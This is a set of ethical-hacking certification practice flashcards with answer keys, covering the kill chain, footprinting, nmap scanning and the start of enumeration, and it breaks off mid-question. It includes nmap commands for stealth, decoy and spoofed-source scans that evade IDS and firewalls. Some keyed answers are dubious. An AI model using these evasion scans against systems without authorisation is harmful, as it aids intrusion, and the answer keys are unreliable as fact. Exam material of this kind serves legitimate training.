Practice Exam Sept 2023 Flashcards
Module 01 Introduction to Ethical Hacking
Which set of regulations is concerned with protecting a patient’s medical records?
A. ISO 2002
B. PCI DSS
C. PII
D. HIPAA/PHI
D
Module 01 Introduction to Ethical Hacking
In which phase of the Cyber Kill Chain would an attacker exfiltrate data from your organization?
A. Weaponization
B. Delivery
C. Actions on Objectives
D. Command and Control
E. Exploitation
C
Module 01 Introduction to Ethical Hacking
Which security strategy requires using several, varying methods to protect IT systems against attacks?
A. Three-way handshake
B. Exponential backoff algorithm
C. Covert channels
D. Defense in depth
D
Module 01 Introduction to Ethical Hacking
During a pen-test, you’ve obtained several employee e-mail addresses from their company website. At which phase of the Cyber Kill Chain would you then create a client-side backdoor in order to send it to the victims via e-mail?
A. Reconnaissance
B. Weaponization
C. Delivery
D. Exploitation
E. Installation
F. Command and Control
G. Actions on Objectives
B
In this scenario, the penetration tester has already completed the first stage of reconnaissance by harvesting the employees’ email addresses from public sources. They are now in the second stage of weaponization, where they are creating a client-side backdoor and attaching it to an email in order to deliver it to the employees.
The next stages of the kill chain would be delivery, where the email is sent to the employees, followed by exploitation, installation, and command and control, where the attacker gains access to the target system and establishes a channel for ongoing communication.
Module 01 Introduction to Ethical Hacking
In which phase of Incident Handling & Response (IH&R) do you analyze the compromised device to find details like type of attack, severity, target, impact, method of propagation, and vulnerabilities exploited?
A. Preparation
B. Incident Recording and Assignment
C. Incident Triage
D. Notification
E. Containment
F. Evidence Gathering and Forensic Analysis
G. Eradication
H. Recovery
I. Post-Incident Activities
C
In this phase, the identified security incidents are analyzed, validated, categorized, and prioritized. The IH&R team further analyzes the compromised device to find incident details such as the type of attack, its severity, target, impact, and method of propagation, and any vulnerabilities it exploited
Module 01 Introduction to Ethical Hacking
Which of these best describes step 3, Delivery, in the Cyber Kill Chain methodology?
A. An intruder creates malware to be used as a malicious attachment to an email.
B. An intruder sends a malicious attachment via email to a target.
C. An intruder’s malware is installed on a target’s machine.
D. An intruder’s malware is triggered when a target opens a malicious email attachment.
B
Module 01 Introduction to Ethical Hacking
What is the process called that can record, log, and resolve events that happen in your company?
A. Metrics
B. Incident management process
C. Internal procedure
D. Security policy
B
Module 01 Introduction to Ethical Hacking
Which best describes white-box testing?
A. The internal operation of a system is only partly accessible to the tester
B. The internal operation of a system is completely known to the tester
C. Only the internal operation of a system is known to the tester
D. Only the external operation of a system is accessible to the tester
B
Module 01 Introduction to Ethical Hacking
Which of these laws was designed to improve the accuracy and accountability of corporate disclosures, and to protect the public from accounting errors and fraudulent activities?
A. SOX
B. HIPAA
C. FedRAMP
D. PCI DSS
A
The Sarbanes-Oxley Act (SOX) was passed by the Congress of the United States in 2002 and is designed to protect members of the public from being defrauded or falling victim to financial errors on the part of businesses or financial entities. SOX compliance is both a matter of staying in line with the law and making sure your organization engages in sound business principles that benefit both the company and its customers.
Module 01 Introduction to Ethical Hacking
Which phase of ethical hacking involves infecting a system with malware, and using phishing to gain access to a system or website?
A. Reconnaissance
B. Scanning
C. Gaining access
D. Maintaining access
C
Module 01 Introduction to Ethical Hacking
You just got an e-mail from someone you’ve never met, claiming that your public website has a zero day vulnerability. The e-mail describes the problem and what you can do to protect yourself from this vulnerability. The e-mail has also been carbon-copied to Microsoft, informing them of the problem that their systems are exposed to. Which type of hacker sent you this e-mail?
A. Black hat
B. Red hat
C. Grey hat
D. White hat
C
Module 01 Introduction to Ethical Hacking
Which best describes gray-box testing?
A. The internal operation of a system is only partly accessible to the tester
B. The internal operation of a system is completely known to the tester
C. Only the internal operation of a system is known to the tester
D. Only the external operation of a system is accessible to the tester
A
Module 01 Introduction to Ethical Hacking
After finding and mitigating the vulnerabilities on your network, some small amount of risk still remains. What is this called?
A. Impact risk
B. Deferred risk
C. Residual risk
D. Inherent risk
C
Module 01 Introduction to Ethical Hacking
Which type of hacker sometimes works offensively, and sometimes works defensively?
A. Suicide hacker
B. Black hat
C. Gray hat
D. White hat
C
Module 01 Introduction to Ethical Hacking
Before a penetration tester can start any hacking activities, it’s most important for her to do which of these?
A. Creating action plan
B. Finding new exploits which can be used during the pentest
C. Preparing a list of targeted systems
D. Ensuring that her activity will be authorized and she will have proper agreement with owners of the targeted system
D
Module 01 Introduction to Ethical Hacking
There has been data-leakage on a workstation, so you go to that station, turn off the power, then remove the keyboard, mouse, and ethernet cable. Which incident-handling step would these activities fall under?
A. Discovery
B. Eradication
C. Containment
D. Recovery
C
Module 01 Introduction to Ethical Hacking
Which type of hacker has no training and only uses basic techniques or tools they found on the internet?
A. White-Hat Hackers
B. Gray-Hat Hackers
C. Black-Hat Hackers
D. Script Kiddies
D
Module 01 Introduction to Ethical Hacking
What makes a penetration test more thorough than a vulnerability scan?
A. A penetration test actively exploits the vulnerabilities in the targeted infrastructure, while a vulnerability scan does not typically involve active exploitation.
B. The tools used by penetration testers tend to have much more comprehensive vulnerability databases.
C. Vulnerability scans only do host discovery and port scanning by default.
D. It is not; a penetration test is often performed by an automated tool, while a vulnerability scan requires active engagement.
A
Module 01 Introduction to Ethical Hacking
Which best describes black-box testing?
A. The internal operation of a system is only partly accessible to the tester
B. The internal operation of a system is completely known to the tester
C. Only the internal operation of a system is known to the tester
D. Only the external operation of a system is accessible to the tester
D
Module 01 Introduction to Ethical Hacking
After assessing the risk of a breach in your web application, you find there is a 40% chance of breach. You implement some controls and now find that the risk of a breach is down to 15%, while your risk threshold for the web application is at 25%. Which of these risk strategies will you most likely employ to continue operations with the most business profit?
A. Avoid the risk
B. Mitigate the risk
C. Accept the risk
D. Introduce more controls to bring the risk to 0%
C
Module 01 Introduction to Ethical Hacking
Federal information systems should have security controls in place, as defined by which of these regulations?
A. PCI-DSS
B. HIPAA
C. NIST-800-53
D. EU Safe Harbor
C
Module 01 Introduction to Ethical Hacking
A risk assessment includes which of these components?
A. Physical security
B. Administrative safeguards
C. DMZ
D. Logical interface
B
Module 01 Introduction to Ethical Hacking
The chance of a hard drive failure is once every four years. The cost to buy a new hard drive is $400. It will require 5 hours to restore the OS and software to the new hard disk. It will require another 5 hours to restore the user data from the last backup to the new hard disk. The recovery tech earns $10/hour. Calculate the SLE, ARO, and ALE. Assume the EF = 1 (100%).
What is the closest approximate cost of this replacement and recovery operation per year?
A. $100
B. $125
C. $500
D. $1500
B
single loss expectancy (SLE)
value of the asset (AV)
exposure factor (EF)
SLE = AV x EF
Annualized rate of occurrence (ARO)
annualized loss expectancy (ALE)
ALE = SLE x ARO
Module 01 Introduction to Ethical Hacking
After being hired to do a pen-test, you and the customer fill out a document that describes all the details of the test. This document protects both the customer as well as your legal liabilities as the tester. Which document is being described?
A. Project Scope
B. Service Level Agreement
C. Rules of Engagement
D. Non-Disclosure Agreement
C. The ROE is established before the start of a security test, and gives the test team authority to conduct defined activities without the need for additional permissions.
B. A service-level agreement (SLA) sets the expectations between the service provider and the customer and describes the products or services to be delivered, the single point of contact for end-user problems, and the metrics by which the effectiveness of the process is monitored and approved.
Module 01 Introduction to Ethical Hacking
Which of these is a security standard for protecting credit-card information?
A. FISMA
B. PCI-DSS
C. HITECH
D. SOX
B
Module 01 Introduction to Ethical Hacking
In which phase of incident-handling do you define processes/procedures/rules, and create and test back-up and response plans?
A. Preparation phase
B. Identification phase
C. Containment phase
D. Recovery phase
A
Module 01 Introduction to Ethical Hacking
What is the role of test automation in security testing?
A. It is an option but it tends to be very expensive.
B. Test automation is not usable in security due to the complexity of the tests.
C. It can accelerate benchmark tests and repeat them with a consistent setup. But it cannot replace manual testing completely.
D. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.
C
Module 01 Introduction to Ethical Hacking
All of these are PCI compliance recommendations EXCEPT for which?
A. Use a firewall between the public network and the payment card data.
B. Limit access to card holder data to as few employees as possible.
C. Use encryption to protect all transmission of card holder data over any public network.
D. Rotate employees handling credit card transactions on a yearly basis to different departments.
D
Module 01 Introduction to Ethical Hacking
What should you do if during a pen-test you discover information on the network that implies the client is involved with human trafficking?
A. Copy the data to removable media and keep it in case you need it
B. Ignore the data and continue the assessment until completed as agreed
C. Confront the client in a respectful manner and ask her about the data
D. Immediately stop work and contact the proper legal authorities
E. Go all “Rambo” on the client and free the prisoners immediately.
D
Module 01 Introduction to Ethical Hacking
In order to protect your network from imminent threats, you feed threat intelligence into your security devices in a digital format, in order to identify and block malicious traffic. Which type of threat intelligence are you using here?
A. Tactical threat intelligence
B. Operational threat intelligence
C. Strategic threat intelligence
D. Technical threat intelligence
D
Strategic Cyber Intelligence: The audience does not need technical knowledge. High-level information on changing risks. High-level information on risk-based
intelligence is used by high-level decision-makers (Executives and management). Whitepapers, policy documents, and publications are examples of strategic cyber intelligence.
Operational Cyber Intelligence: Actionable information about specific incoming attacks. It is infiltrating hacker chat rooms to anticipate the incoming attacks.
Tactical Cyber Intelligence: Details of threat actor tactics, techniques, and procedures (TTPs).
Technical Cyber Intelligence: It means technical threat indicators such as specific IOC for SOC Staff.
Module 01 Introduction to Ethical Hacking
Alice gathers info about specific threats to your company. She collected this info from humans, social media, chat rooms, as well as from events that resulted in cyberattacks. She created a report that outlined the malicious activities, warnings for emerging attacks, and a recommended course of action. Which type of threat intelligence is this?
A. Tactical threat intelligence
B. Operational threat intelligence
C. Strategic threat intelligence
D. Technical threat intelligence
B
Module 02 Footprinting and Reconnaissance
Which of these is an open-source framework for doing automated recon and info-gathering activities to learn about a target organization?
A. OSINT Framework
B. SpeedPhish Framework
C. WebSploit Framework
D. Browser Exploitation Framework
A
The OSINT framework is a methodology that integrates data, processes, methods, tools and techniques to help the security team identify information about an adversary or their actions quickly and accurately. An OSINT framework can be used to: Establish the digital footprint of a known threat.
WebSploit is an open source project which is used to scan and analysis remote system in order to find various type of vulnerabilites. This tool is very powerful and supports multiple vulnerabilities.
Module 02 Footprinting and Reconnaissance
Which of these Google Dork (Google hacking) operators would you use to show certain file extensions on a website?
A. ext
B. filetype
C. inurl
D. allinurl
E. site
F. location
B
Module 02 Footprinting and Reconnaissance
Passive reconnaissance involves collecting information through which of the following?
A. Social engineering
B. Network traffic sniffing
C. Man in the middle attacks
D. Publicly accessible sources
D
Module 02 Footprinting and Reconnaissance
Which type of footprinting involves gathering domain information, such as domain name, contact details of the owner, and creation & expiration dates?
A. VoIP footprinting
B. Whois footprinting
C. VPN footprinting
D. Email footprining
B
Module 02 Footprinting and Reconnaissance
In order to make convincing phishing e-mails, it helps to know about the company you are going to impersonate. The time you spend on researching this information is called what?
A. Exploration
B. Reconnaissance
C. Investigation
D. Enumeration
B
Module 02 Footprinting and Reconnaissance
You need to monitor your corporate website to analyze the traffic and learn things such as the geographical location of people visiting the site. Which tool would be best suited for this?
A. Webroot
B. Web-Stat
C. WAFW00F
D. WebSite-Watcher
B
Module 02 Footprinting and Reconnaissance
What is the collection of overt and publicly available information known as?
A. Real intelligence
B. Human intelligence
C. Open-source intelligence
D. Social intelligence
C
Module 02 Footprinting and Reconnaissance
Which of these would be the best choice to surf the internet anonymously?
A. Use shared WiFi
B. Use public VPN
C. Use SSL sites when entering personal information
D. Use Tor network with multi-node
D
Module 02 Footprinting and Reconnaissance
Which of these tools can perform DNS lookups and find info such as DNS domain names, computer names, IP addresses, DNS records, and network Whois records?
A. Bluto
B. zANTI
C. Knative
D. Towelroot
A - Bluto is a Python-based tool for DNS recon, DNS zone transfer testing, DNS wild card checks, DNS brute forcing, e-mail enumeration and more.
zANTI is an Android Wireless Hacking Tool that functions as a mobile penetration testing toolkit that lets you assess the risk level of a network using your mobile device for free download.
Knative enables serverless workloads to run on Kubernetes clusters, and makes building and orchestrating containers with Kubernetes faster and easier.
Towelroot allows most Android smartphones users to root their Android device with one click only, as long as it has an unpatched version of the Linux kernel
Module 02 Footprinting and Reconnaissance
You have been sent a suspicious e-mail message and want to see who sent it. After looking at the header you see that it was received from an unknown sender at the IP address 145.146.50.60. What web site will allow you to find out more information about an IP address, including who owns that IP?
A. http://www.tucowsdomains.com/whois
B. https://whois.arin.net
C. https://www.networksolutions.com/whois
D. https://www.godaddy.com/whois
B - ARIN’s Whois service is a public resource that allows a user to retrieve information about IP number resources, organizations, POCs, customers, and other entities.
GoDaddy WHOIS search is designed to help you by diving into the WHOIS database for information on domain registration and availability.
Module 02 Footprinting and Reconnaissance
Where can you go to see past versions and pages of a website?
A. Samspade.org
B. Search.com
C. Archive.org
D. AddressPast.com
C
Module 02 Footprinting and Reconnaissance
During which hacking process do you surf the internet looking for information about your target company?
A. Scanning
B. Enumerating
C. Footprinting
D. System Hacking
C
Module 02 Footprinting and Reconnaissance
Which Google search operator would limit searches to one domain?
A. [location:]
B. [site:]
C. [allinurl:]
D. [link:]
B
allinurl - Searches for multiple words in the url of the search result.
Module 02 Footprinting and Reconnaissance
Which regional internet registry should you use to get detailed info about an IP address in France?
A. ARIN
B. APNIC
C. LACNIC
D. RIPE
D
The major RIRs include:
ARIN (American Registry for Internet Numbers) (https://www.arin.net)
AFRINIC (African Network Information Center) (https://www.afrinic.net)
APNIC (Asia Pacific Network Information Center) (https://www.apnic.net)
RIPE (Réseaux IP Européens Network Coordination Centre) (https://www.ripe.net)
LACNIC (Latin American and Caribbean Network Information Center) (https://www.lacnic.net)
Module 02 Footprinting and Reconnaissance
Your network has been breached. You review your logs and discover that an unknown IP address has accessed the network through a high-level port that was not closed. You trace the IP to a proxy server in Argentina. After calling the company that owns the server, they trace it to another proxy in Germany. You call them and they trace it to another proxy in China. What proxy tool has the attacker used to cover his tracks?
A. ISA proxy
B. IAS proxy
C. TOR proxy
D. Cheops proxy
C
Module 02 Footprinting and Reconnaissance
Hacker Joe is using specialized tools and search engines that encrypt his web traffic and allows him to anonymously gather information on the internet. After gathering information, he performs attacks on target organizations without being traced. Which technique was used here?
A. VoIP footprinting
B. VPN footprinting
C. Website footprinting
D. Dark web footprinting
D
Deep Web: Consists of web pages and contents that are hidden and unindexed and cannot be located using traditional web browsers and search engines
Dark Web Darknet: The subset of deep web that enables anyone to navigate anonymously without being traced
Tools: Tor Browser ExoneraTor
Module 02 Footprinting and Reconnaissance
You find job listings for network administrators at your competitor’s company. How can reviewing this listing help you footprint their company?
A. To learn about the IP range used by the target network
B. To identify the number of employees working for the company
C. To test the limits of the corporate security policy enforced in the company
D. To learn about the operating systems, services and applications used on the network
D
Module 02 Footprinting and Reconnaissance
Which of these tools can track e-mails and provide info such as sender identities, mail servers, sender IP address, and sender location?
A. Infoga
B. Netcraft
C. Zoominfo
D. Factiva
A - Infoga is used for scanning email addresses using different websites and search engines for information gathering and finding information about leaked information on websites and web apps.
Netcraft is an Internet services company based in London, England. The company provides cybercrime disruption services across a range of industries.
ZoomInfo is sales intelligence software that provides a database of business and professional contact information.
Factiva is a business intelligence platform that includes content from 33,000 news, data and information sources from 200 countries and 32 languages. The platform contains millions of corporate profiles, as well as research tools to analyze media coverage.
Module 02 Footprinting and Reconnaissance
Which of these online tools would allow you gather a competitor’s server’s IP address using Whois footprinting, then using that IP, can tell you info such as the network range and topology?
A. AOL
B. Baidu
C. DuckDuckGo
D. ARIN
D
Doing a Whois search on ARIN will tell you a company’s IP range (the IP addresses that have been assigned to them). Using that info, you can scan their IP’s go gain more info. For example, if you find that one of those IP’s is a DNS server, that’s an opportunity to get even more info. If that DNS server is improperly configured, you might be able to get the IP’s of even their internal devices.
Module 02 Footprinting and Reconnaissance
Using an image as a search query, which footprinting technique would you use to find information about the image, such as the original source and details, photographs, profile pictures, and memes?
A. Advanced image search
B. Reverse image search
C. Google advanced search
D. Meta search engines
B
Module 02 Footprinting and Reconnaissance
Which of these is a tool to gather a list of words from a target website?
A. Psiphon
B. Shadowsocks
C. Orbot
D. CeWL
D
Orbot and Psiphon are anonymizer tools. Shadowsocks is a proxy tool for mobile. CeWL is an automated tool to “crawl” through a target website to make a list of words or terms. This is very handy if you want to crawl a site to find all the listed e-mail addresses for example. The syntax is easy. For example: #cewl www.moviescope.com
Module 02 Footprinting and Reconnaissance
Which of these Google Advanced Search Operators would help you gather info about websites that are similar to a specific URL that you type in?
A. info:
B. related:
C. site:
D. inurl:
E. filetype:
B
Module 02 Footprinting and Reconnaissance
Which tool can scan social media sites for information about a target, including finding their geolocation by using location tags in their photographs?
A. Hootsuite
B. VisualRoute
C. HULK
D. ophcrack
A
Module 02 Footprinting and Reconnaissance
What would you get from this Google query?
site:amazon.com -site:books.amazon.com iphone
A. Results matching all words in the query
B. Results matching “iphone” in domain amazon.com but not on the site books.amazon.com
C. Results from matches on the site books.amazon.com that are in the domain amazon.com but do not include the word iphone
D. Results for matches on amazon.com and books.amazon.com that include the word “iphone”
B
Module 02 Footprinting and Reconnaissance
Which of these is an anonymizer site that would mask and protect your identity as you surf the web?
A. www.baidu.com
B. www.karmadecay.com
C. www.guardster.com
D. www.wolframalpha.com
C
Baidu and Wolfram Alpha are search engines. Karmadecay is an image search engine for Reddit. On this list, only Guardster is a proxy surfing site to hide your IP address and identity as you surf the web.
Module 03 Scanning Networks
Which type of message would begin a TCP 3-way handshake?
A. SYN-ACK
B. SYN
C. ACK
D. RST
B
Module 03 Scanning Networks
Which one of these activities would allow an attacker to create a map or outline of the network infrastructure to learn about the environment before attempting to hack it?
A. Enumeration
B. Vulnerability analysis
C. Scanning networks
D. Malware analysis
C
Module 03 Scanning Networks
If you want to check if a host is up and running on your network using nmap, you can perform a “ping scan”. There are several methods for doing this, such as an ARP ping, an ACK ping, etc. Which command below will tell nmap to perform a TCP SYN ping scan?
A. nmap -sn -PO <target>
B. nmap -sn -PA <target>
C. nmap -sn -PS <target>
D. nmap -sn -PP <target></target></target></target></target>
C
-PS/PA/PU/PY[portlist]
TCP SYN/ACK, UDP or SCTP discovery to given ports. Allows you to specify a specific port nmap uses to verify a host is up e.g., -PS22 (by default nmap sends to a bunch of common ports, this allows you to be specific)
Module 03 Scanning Networks
Which scanning technique will use a spoofed IP address and a SYN flag to generate port responses?
A. FIN
B. SYN
C. IDLE (side-channel)
D. XMAS
C
Module 03 Scanning Networks
What type of scan is this?
Open port:
SYN->
<-SYN + ACK
RST->
Closed port:
SYN->
<-RST
A. Stealth Scan
B. Full Scan
C. XMAS Scan
D. FIN Scan
A
Module 03 Scanning Networks
You are scanning a network to ensure it is as secure as possible. You send a TCP probe packet to a host with a FIN flag and you receive a RST/ACK response. What does this mean about the port you are scanning?
A. This response means the port is open.
B. The RST/ACK response means the port is disabled.
C. This means the port is half open.
D. This means that the port is closed.
D
Module 03 Scanning Networks
TCP SYN Flood attack abuses the three-way handshake mechanism.
An attacker at system A sends a SYN packet to victim at system B.
System B sends a SYN/ACK packet to A.
Normally, A should send an ACK packet to system B, however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK packet from client A.
This status of client B is called _________________
A. “half-closed”
B. “half open”
C. “full-open”
D. “xmas-open”
B
Module 03 Scanning Networks
The following is part of a log file taken from the machine on the network with the IP address of 192.168.1.106:
Time:Mar 13 17:30:15 Port:20 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:17 Port:21 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:19 Port:22 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:21 Port:23 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:22 Port:25 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:23 Port:80 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
Time:Mar 13 17:30:30 Port:443 Source:192.168.1.103 Destination:192.168.1.106 Protocol:TCP
What type of activity has been logged?
A. Port scan targeting 192.168.1.103
B. Teardrop attack targeting 192.168.1.106
C. Denial of service attack targeting 192.168.1.103
D. Port scan targeting 192.168.1.106
D
Module 03 Scanning Networks
Which Nmap option would let you do a very fast scan, even though it might increase the chances of your activities being detected?
A. -O
B. -A
C. -T0
D. -T5
D
Module 03 Scanning Networks
What is typically the default TTL value for a Windows system?
A. 64
B. 128
C. 142
D. 255
B
Module 03 Scanning Networks
While trying to evade the IDS, which command would scan common ports with the least amount of “noise”?
A. Nmap –sT –O –T0
B. Nmap –A –Pn
C. Nmap –A –host-timeout 99 –T1
D. Nmap –sT –p -65535 –T5
A
-sT TCP Connect Scan
-O reveal further operating system information
-A discover the operating system information
Module 03 Scanning Networks
After doing an nmap scan you see some open ports on your webserver, including port 80. Which nmap switch would also include the type and version number of the server?
A. -V
B. -sV
C. -Pn
D. -sS
B
-sV nmap 192.168.1.1 -sV Attempts to determine the version of the service running on port
-sS nmap 192.168.1.1 -sS TCP SYN port scan (Default)
-v nmap 192.168.1.1 -v Increase the verbosity level (use -vv or more for greater effect)
-Pn nmap 192.168.1.1-5 -Pn Disable host discovery. Port scan only.
Module 03 Scanning Networks
What results will the following command yield: ‘NMAP –sS –O –p 123-153 192.168.100.3?
A. A stealth scan, checking open ports 123 to 153
B. A stealth scan, checking all open ports excluding ports 123 to 153
C. A stealth scan, opening port 123 and 153
D. A stealth scan, determine operating system, and scanning ports 123 to 153
D
-O nmap 192.168.1.1 -O Remote OS detection using TCP/IP stack fingerprinting
-sS nmap 192.168.1.1 -sS TCP SYN port scan (Default)
Module 03 Scanning Networks
After scanning a network, you find that a machine has port 80 open, indicating that it’s a web server. You want more information about the service and its version number, so you run an nmap scan with the -sV switch. It returns the following information:
80/tcp open http-proxy Apache Server 2.4.43
What’s the name of this method of information-gathering?
A. Banner grabbing
B. WHOIS lookup
C. Brute forcing
D. Dictionary attack
A
A Whois domain lookup allows you to trace the ownership and tenure of a domain name.
Module 03 Scanning Networks
While performing an Xmas scan, which of these would indicate that the target’s port is closed?
A. SYN
B. ACK
C. RST
D. No return response
C
Module 03 Scanning Networks
What does this command do?
> NMAP -sn 192.168.11.200-215
A. Port scan
B. Ping scan
C. Trace sweep
D. Operating system detection
B
Disable Port Scan (-sn)
This option tells Nmap not to run a port scan after host discovery. When used by itself, it makes Nmap do host discovery, then print out the available hosts that responded to the scan. This is often called a “ping scan”.
Module 03 Scanning Networks
Which OS uses a default TTL value of 64 and a default TCP Window size of 5840?
A. Solaris OS
B. Windows OS
C. Linux OS
D. Mac OS
C
Module 03 Scanning Networks
How would you classify an operating-system fingerprinting method where you send traffic to the remote device and analyze the responses?
A. Passive
B. Reflective
C. Active
D. Distributive
C
Module 03 Scanning Networks
Which scanning technique uses a zombie system that has low network activity, and utilizes fragment identification numbers to help with the scan?
A. Decoy scanning
B. Packet fragmentation scanning
C. Spoof source address scanning
D. Idle scanning
D
Module 03 Scanning Networks
What does FIN in TCP flag define?
A. Used to abort a TCP connection abruptly
B. Used to close a TCP connection
C. Used to acknowledge receipt of a previous packet or transmission
D. Used to indicate the beginning of a TCP connection
B
Module 03 Scanning Networks
Which of these is a way for a hacker on the outside of a network to target a host on the inside of the network, and to see which ports are open and if the packets can pass through the packet-filtering of the firewall?
A. Network sniffing
B. Session hijacking
C. Firewalking
D. Man-in-the-middle
C
Fire walking is the method of determining the movement of a data packet from an untrusted external host to a protected internal host through a firewall.
Module 03 Scanning Networks
Which nmap option scans fewer ports than the default?
A. -P
B. -r
C. -T0
D. -sP
E. -F
E
-F Fast port scan (100 ports)
Module 03 Scanning Networks
Which NMAP switch does operating system detection?
A. -OS
B. -sO
C. -sP
D. -O
D
Module 03 Scanning Networks
Your IP address is 192.168.1.10. Which nmap command will let you enumerate all machines on the same network quickly?
A. Nmap –T4 –q 192.168.1.0/24
B. Nmap –T4 –O 192.168.1.0/24
C. Nmap –T4 –F 192.168.1.0/24
D. Nmap –T4 –r 192.168.0.0/24
C
-O nmap 192.168.1.1 -O Remote OS detection using TCP/IP stack fingerprinting
Module 03 Scanning Networks
Which nmap option would you use to determine if a firewall was Stateful or Stateless?
A. -sA
B. -sF
C. -sT
D. -sX
A
-sA TCP ACK port scan
-sT nmap 192.168.1.1 -sT TCP connect port scan (Default without root privilege)
-sX XMAS scan
-sF FIN scan
Module 03 Scanning Networks
Which nmap switch will scan a target using a set of spoofed source IP addresses in order to evade the IDS or firewalls?
A. The -A flag
B. The -D flag
C. The -f flag
D. The -g flag
B
-D Send scans from spoofed IPs
-g Use given source port number
-A nmap 192.168.1.1 -A Enables OS detection, version detection, script scanning, and traceroute
-f nmap 192.168.1.1 -f Requested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
Module 03 Scanning Networks
Which Zenmap option will perform an ICMP timestamp ping scan?
A. -Pn
B. -PU
C. -PY
D. -PP
D
-Pn (No ping)
-PU <port> (UDP Ping)
-PY <port> (SCTP INIT Ping)
-PE; -PP; -PM (ICMP Ping Types)</port></port>
An ICMP timestamp ping is a good option if the admin has blocked ICMP ECHO pings. The ICMP timestamp feature is used to synchronize clocks. If you send a timestamp packet, and get a reply, you know the host is up!
Module 03 Scanning Networks
Which type of port scan should you not attempt if an IDS is in-use on the network?
A. Idle scan
B. TCP Connect scan
C. TCP SYN
D. Spoof scan
C
An Idle scan is very stealthy and helps evade an IDS. A Connect scan mimics normal network traffic and is unlikely to be flagged as suspicious. There’s no such thing as a “spoof scan”. A TCP SYN scan, also called a Stealth scan or a Half-Open scan, “attempts” to be stealthy, but it’s an old trick, and is very likely to be flagged by an Intrusion Detection System (IDS).
Module 03 Scanning Networks
Nmap reports that one of your hosts at 10.10.10.20 has an IP ID sequence of “incremental”. Because of this finding, you run this command:
nmap -Pn -p 80 -sI 10.10.10.20 10.10.10.50
What does the “-sI” (that’s a capital “i” ) switch do with Nmap?
A. Conducts an ICMP scan
B. Conducts an IDLE scan
C. Conducts a stealth scan
D. Conducts a silent scan
B
Module 03 Scanning Networks
During an Idle-Scan of a port on a target computer, an attacker receives an IPID of 24333 from a zombie. If the target’s port is closed, what will be the final response from the zombie?
A. The zombie computer will respond with an IPID of 24334.
B. The zombie computer will respond with an IPID of 24333.
C. The zombie computer will not send a response.
D. The zombie computer will respond with an IPID of 24335.
A
Module 03 Scanning Networks
Which technique can reveal the OS of your target system?
A. UDP scanning
B. IDLE/IPID scanning
C. Banner grabbing
D. SSDP scanning
C
Module 03 Scanning Networks
From an outside IP, you perform an XMAS scan against your company using Nmap. Almost every port scanned does not generate a response. What can you infer from this kind of response?
A. These ports are open because they do not send a response.
B. These ports are in stealth mode.
C. If a port does not respond to an XMAS scan using NMAP, that port is closed.
D. The scan was not performed correctly using NMAP since all ports, no matter what their state, will send some sort of response from an XMAS scan.
A
Module 03 Scanning Networks
Which flags are set in an XMAS scan?
A. FIN, RST, URG
B. PSH, ACK, RST
C. FIN, URG, PSH
D. URG, PSH, RST
C
Module 03 Scanning Networks
Which type of port scan sends FIN/ACK probes, and if a RST comes back, it means the port is closed?
A. Xmas scan
B. TCP Maimon scan
C. IDLE/IPID header scan
D. ACK flag probe scan
B
Module 03 Scanning Networks
ICMP ping and ping sweeps are used to check for active systems and to check
A. if ICMP ping traverses a firewall.
B. the route that the ICMP ping took.
C. the location of the switchport in relation to the ICMP ping.
D. the number of hops an ICMP ping takes to reach a destination.
A
Module 03 Scanning Networks
Which type of scan would you run to find all the active devices hidden by a restrictive firewall in the IPv4 range on your LAN?
A. UDP scan
B. ACK flag probe scan
C. ARP ping scan
D. TCP Maimon scan
C
ACK scan packets wouldn’t make it to the devices if ports are filtered on that firewall. Nor would a UDP scan. A Maimon scan is an older version of an XMAS, Fin, or Null scan, and also wouldn’t make it through a restrictive firewall. The ARP protocol, on the other hand, would not typically be blocked on a firewall or your network wouldn’t function properly. As long as the target systems are on your same subnet, an ARP ping scan is a great way to discover running hosts.
Module 03 Scanning Networks
Attackers send an ACK probe packet with random sequence number, no response means port is filtered (Stateful firewall is present) and RST response means the port is not filtered. What type of Port Scanning is this?
A. RST flag scanning
B. FIN flag scanning
C. SYN flag scanning
D. ACK flag scanning
D
Module 03 Scanning Networks
An attacker is attempting to telnet into a corporation’s system in the DMZ. The attacker doesn’t want to get caught and is spoofing his IP address. After numerous tries he remains unsuccessful in connecting to the system. The attacker rechecks that the target system is actually listening on Port 23 and he verifies it with both nmap and hping3. He is still unable to connect to the target system. What could be the reason?
A. The firewall is blocking port 23 to that system
B. He needs to use an automated tool to telnet in
C. He cannot spoof his IP and successfully use TCP
D. He is attacking an operating system that does not reply to telnet even when open
C
Module 03 Scanning Networks
If a tester is attempting to ping a target that exists but receives no response or a response that states the destination is unreachable, ICMP may be disabled and the network may be using TCP. Which other option could the tester use to get a response from a host using TCP?
A. Hping
B. Traceroute
C. TCP ping
D. Broadcast ping
A
Hping is a free packet generator and analyzer for the TCP/IP protocol. Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner.
Module 03 Scanning Networks
During an Idle-Scan of a port on a target computer, an attacker receives an IPID of 31400 from a zombie. If the target’s port is open, what will be the final response from the zombie?
A. 31400
B. 31402
C. The zombie will not send a response
D. 31401
B
Module 03 Scanning Networks
Which nmap script will scan a web server to let you know which HTTP Methods are available, like GET, POST, HEAD, PUT, DELETE, etc?
A. http-headers
B. http-methods
C. http enum
D. http-git
B
https://nmap.org/nsedoc/scripts/http-methods.html
Module 03 Scanning Networks
What does the Nmap -oX flag do?
A. Performs an eXpress scan
B. Outputs the results in XML format to a file
C. Outputs the results in truncated format to the screen
D. Performs an Xmas scan
B
D - Wrong Xmas Scan (-sX)
Module 04 Enumeration
Which protocol can secure an LDAP service against anonymous queries?
A. RADIUS
B. SSO
C. NTLM
D. WPA
C
NTLM (Windows NT LAN Manager) is a suite of protocols used to authenticate a client to a resource in an Active Directory domain. This suite includes NTLMv1, NTLMv2, and NTLM2 Session protocols.
Module 04 Enumeration
SNMP uses a databases called MIB’s (Management Information Base) to list all the devices that can be managed by SNMP. Which type of MIB contains object types for workstations and server services?
A. DHCP.MIB
B. LNMIB2.MIB
